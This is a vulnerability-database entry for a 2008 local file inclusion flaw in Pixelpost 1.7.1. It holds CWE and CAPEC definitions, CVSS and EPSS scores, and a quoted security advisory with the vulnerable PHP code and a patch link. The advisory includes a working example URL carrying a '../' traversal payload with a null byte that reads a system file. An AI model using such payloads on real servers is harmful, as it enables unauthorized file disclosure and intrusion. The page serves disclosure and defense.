CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Directory traversal vulnerability in index.php in Pixelpost 1.7.1 on Windows, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the language_full parameter.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.8
AV:N/AC:M/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
7.2%
–
–
2022-02-13
–
–
7.2%
–
–
2022-04-03
–
–
7.2%
–
–
2023-03-12
–
–
–
1.12%
–
2023-04-16
–
–
–
1.12%
–
2024-02-11
–
–
–
1.19%
–
2024-06-02
–
–
–
1.19%
–
2024-10-27
–
–
–
1.19%
–
2024-12-22
–
–
–
2.68%
–
2025-01-19
–
–
–
2.68%
–
2025-03-18
–
–
–
–
8.78%
2025-03-18
–
–
–
–
8.78,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-033
Application: Pixelpost photoblog
Versions Affected: 1.7.1
Vendor URL: http://www.pixelpost.org/
Bug: Local File Include
Exploits: YES
Reported: 22.07.2008
Vendor response: 23.07.2008
Solution: YES
Date of Public Advisory: 28.07.2008
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
***********
Pixelpost photoblog has local file include vulnerability in script index.php
Successful exploitation requires that "register_globals" is enabled.
Code
****
#################################################
$PP_supp_lang = array('dutch'=>array('NL','Nederlands'),
'english'=>array('EN','English'),
'french'=>array('FR','Francais'),
'german'=>array('DE','Deutsch'),
'italian'=>array('IT','Italiano'),
'norwegian'=>array('NO','Norsk'),
'persian'=>array('FA','Farsi'),
'polish'=>array('PL','Polskiego'),
'portuguese'=>array('PT','Portugues'),
'simplified_chinese'=>array('CN','Chinese'),
'spanish'=>array('ES','Espanol'),
'swedish'=>array('SE','Svenska'),
'danish'=>array('DK','Dansk'),
'japanese'=>array('JP','Japanese'),
'hungarian'=>array('HU','Magyar'),
'romanian'=>array('RO','Romana'),
'russian'=>array('RU','Russian'),
'czech'=>array('CS','Cesky')
);
...
if(isset($_GET['lang'])) { $language_abr = substr($_GET['lang'],0,2); }
foreach ($PP_supp_lang as $key => $row) {
foreach($row as $cell){
if ($cell == strtoupper($language_abr)) { $language_full = $key; }
}
}
...
if(!empty($language_full)) {
if(file_exists("language/lang-".$language_full.".php")) {
if( !isset($_GET['x'])OR($_GET['x'] != "rss" & $_GET['x'] != "atom")) {
require("language/lang-".$language_full.".php");
}
}else{
...
#################################################
Example:
http://[server]/[installdir]/index.php?lang=DSecRG&language_full=../../../../../../../../../../../../../boot.ini%00
Solution
********
Vendor fix this flaw on 27.07.2008. Security Patch can be downloaded here:
http://www.pixelpost.org/blog/2008/07/27/pixelpost-171-security-patch/
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)
# milw0rm.com [2008-07-28]